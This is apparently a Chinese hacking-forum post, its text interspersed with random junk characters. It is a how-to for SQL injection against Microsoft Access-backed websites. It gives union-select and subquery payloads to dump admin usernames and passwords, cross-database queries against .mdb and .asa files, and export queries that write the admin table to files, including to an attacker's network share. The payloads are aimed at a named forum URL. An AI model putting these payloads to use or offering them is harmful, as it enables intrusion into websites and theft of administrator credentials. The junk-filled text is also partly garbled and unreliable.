--------------------------------------------------------------5 n$ E ]6 Z5 @
union查询法$ B* j# A3 u g
首先要说的就是查询办法,一般的查询办法就是
1 ]" T; g9 W* |- U; k2 N2 z% E0 v! C
程序代码% W+ t- L+ y) y. m4 g
and 1=(select count(*) from admin where left(id,1)='1')
( N9 o% F) L, t) ]8 Q$ `5 M) G0 F/ B$ E
这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.
8 j2 ^3 j0 r& p# P$ K9 ~所以这个时候,union select横空出现.别以为只能在PHP里用哦...
2 V8 X1 ?2 C" r2 k5 }4 t z# H譬如你有一个ACCESS点:. l1 \/ Y: S/ i( T
程序代码
2 r8 g: z2 L: Q, T) J4 J% ahttp://bbs.tian6.com/xiaoyang.asp?coder=1, p$ [: ~5 k3 B* x
+ R) x' v1 l Z( a7 }+ V# A
知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),, P+ Y6 h; a) d
然后我们直接来:/ J. h" b8 f, x: J
程序代码6 g0 V" v0 h5 U0 _' q
http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]5 [' e, \; @( o
\4 l! [, ?! [+ p+ }3 f
这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.
' [7 M3 a+ E7 S3 P6 R% b& O
- \/ c6 f# {9 ~" [, w4 a- W+ F, {3 g+ W- i
% J5 s" @8 \+ y; O* k' u/ o---------------------------------------------------------------2 G8 a, V, e. D
Access跨库查询
9 G) V& q; X/ l有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
. h1 T1 A" v8 _% b; v$ `2 G跨库的查询语句:& J6 E7 _" Y" T' n1 @: t# S
子查询:
& W& e6 x5 G) Y9 w程序代码8 a# J7 ~ K2 ?+ l* y" ?# q
and (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0
6 p' Y3 C5 O' ]' ]- u! q- c
- r3 V1 f. |1 |8 ]2 o& M' @3 b. }9 n9 uunion查询:. B+ @5 A" [9 ?
程序代码+ V6 ?# Y4 l3 a3 T9 U
union select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1
q" B8 r! w, ?6 l, O* Y
: C" D5 c& p" N* Y7 G跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
: t: X+ o0 u& J. {程序代码
/ w% N) X4 f- }& khttp://www.4ngel.net/article/46.htm
3 i% p/ u# o& [# b+ Xhttp://hf110.com/Article/hack/rqsl/200502/66.html e& j& x6 {' O9 e# L; v' z6 o
0 X1 Q$ g7 j- i2 _$ Z g
---------------------------------------------------------------& ?9 t7 R( }+ A
Access注入,导出txt,htm,html1 s7 p7 r s( r* U6 t7 Z( G F
子查询语句:
/ l4 w3 O/ A- j( r) [" L& ^. ^/ L程序代码
2 H" c7 }; k q$ i) ASelect * into [test.txt] in 'd:\web\' 'text;' from admin
+ ~. U- U. M1 B4 d! F' i& |' |2 I% C$ [
这样就把admin表的内容以test类型存进了d:\web里面.
# h9 J/ l! d2 a$ }, qUNION查询:
! d5 z& r9 T7 H/ s2 O$ M4 b) j% x程序代码
" u! a* j, y0 o- M/ i. tunion select * into [admin.txt] in 'c:\' 'test;' from admin }( j ~7 @ j1 |
) B5 p% i! N8 t0 i" m& V/ ?而且这里也可以保存到本地来:7 \9 k2 X4 L4 t- R
程序代码9 e( e0 ~+ d4 B3 l
Select * into [test.txt] in '\\yourip\share' 'text;' from admin
5 X% x5 z# W) u. s9 k5 ]. B
4 H0 T, N2 j; v+ l: B3 x1 \9 |不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:
( M# |" {1 h9 @- G* r/ F* _& U" S0 X: l8 R
程序代码
; y/ M# m( s% g" T6 \' L" Shttp://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7
" P0 b$ A; g! t0 d% |% U1 @& ~: n- j
因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang asp.asp之类的文件或者目录来导进文件~还是会很强大的.
) S: |2 H+ O, Q/ |- t8 a T4 G7 _% w |